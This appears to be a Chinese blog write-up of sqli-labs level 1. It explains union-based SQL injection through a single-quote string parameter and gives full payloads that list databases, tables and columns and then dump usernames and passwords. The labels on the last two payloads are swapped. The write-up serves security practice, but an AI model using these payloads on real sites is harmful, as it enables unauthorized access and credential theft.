sqli-labs第一关:基于错误的GET单引号字符型注入
点进去题目:提示我们输入题目id,第一题,所以我们输入?id=1,回车即可。如图:
首先可以判断这里接受的是一个GET请求,先在1后面加一个’ 发现报错,说明这里没有过滤掉引号,所以这里是一个注入点
SQL注入通常有两种类型,整形注入和字符型注入,那么我们要判断这是哪种注入就要分析这里的报错语句,报错信息中共有5个单引号,"实际上是两个单引号,最外面的两个是报错信息的提示引号,'1’两边的引号是后台代码的引号,多出来的就是我们加上的,因为这里给输入的1加上了引号所以后台接受的是字符型,那么我们在后续的注入中需要加 ’ 来闭合后面的引号
接下来我们需要通常使用order by加数字判断表中有几列,数字 1 2 3 4 5一直试直到报错为止,另外-- (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。这里我们发现到了数字4就报错了,所以这里有3列,接下来我们需要判断这里的回显位置,将id=1改为一个数据库不存在的id值,如666,使用union select 1,2,3联合查询语句查看页面是否有显示位。
为什么这里得用666??为什么2,3被显示了? ?这里,容我大概说说:
因为,程序在展示数据的时候通常只会取结果集的第一行数据,看一下源码,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了。将id改成666,使union前面的语句报错,执行后面的,爆出显示位2,3
我们这里选择在2的位置放上SQL语句
接下来我们需要查看库名
id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+group_concat() 函数:用于将SQL语句的结果拼接在一起,如果我们的查询结果多于一个就需要将这些结果拼接出来,大家可以试一试,如果这里不使用group函数会报错,提示输出结果多于一行
information_schema 库:这个库是在MySql 5.0之后的一个库,用来存放整个数据库的信息,里面可以查询到 所有的库名,表名,列明。 所以,我们所需要的MySQL数据库版本必须在5.0以上。
查询security内的所有表名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+接着使用下面的语句**出列名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+
最后使用如下语句查询所有的用户名,密码.
用户名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(password) from security.users) --+密码:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(username) from security.users) --+
好啦,第一关到此基本就结束了,萌新做题,瑕疵百出,错的地方希望各位大佬能够指明,不会的我说不定也可以帮你们哟。